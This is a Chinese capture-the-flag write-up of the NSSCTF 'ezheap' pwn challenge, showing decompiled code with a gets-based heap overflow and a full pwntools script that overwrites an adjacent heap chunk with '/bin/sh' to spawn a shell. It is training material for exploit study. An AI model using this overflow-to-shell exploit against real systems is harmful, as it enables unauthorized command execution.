NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备
2.ida分析
main函数
复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

这里先创建两个堆块s和command

然后在s有一个输入点,gets函数,存在堆溢出

并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容

所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接

通过gdb调试,得到偏移量

在main函数下断点,运行程序

一直运行到两个call malloc@plt后,查看堆情况

看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

复制代码
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
相关推荐
_OP_CHEN12 小时前
数据结构(C语言篇):(十二)实现顺序结构二叉树——堆
c语言·数据结构·算法·二叉树·学习笔记··顺序结构二叉树
_OP_CHEN3 天前
数据结构(C语言篇):(十一)二叉树概念介绍
c语言·开发语言·数据结构·二叉树·学习笔记··
啊?啊?5 天前
14 C++ STL 容器实战:stack/list 模拟实现指南 + priority_queue 用法及避坑技巧
c++·
农场主John23 天前
(栈)Leetcode155最小栈+739每日温度
windows·python·算法·leetcode·
夏天ccys1 个月前
LeetCode Day5 -- 栈、队列、堆
算法·leetcode···队列
Alfred king2 个月前
面试150 IPO
面试·职场和发展·贪心·数组··排序
暗流者2 个月前
学习pwn需要的基本汇编语言知识
汇编·学习·网络安全·pwn
CS创新实验室3 个月前
CPython 局部变量存储机制:从 “栈上存储“ 看语言实现差异
python···cpython·局部变量
June`3 个月前
深度刨析树结构(从入门到入土讲解AVL树及红黑树的奥秘)
数据结构·c++·二叉树·红黑树·二叉搜索树··avl树
TAMOXL4 个月前
ctf.show pwn入门 堆利用-前置基础 pwn142
pwn·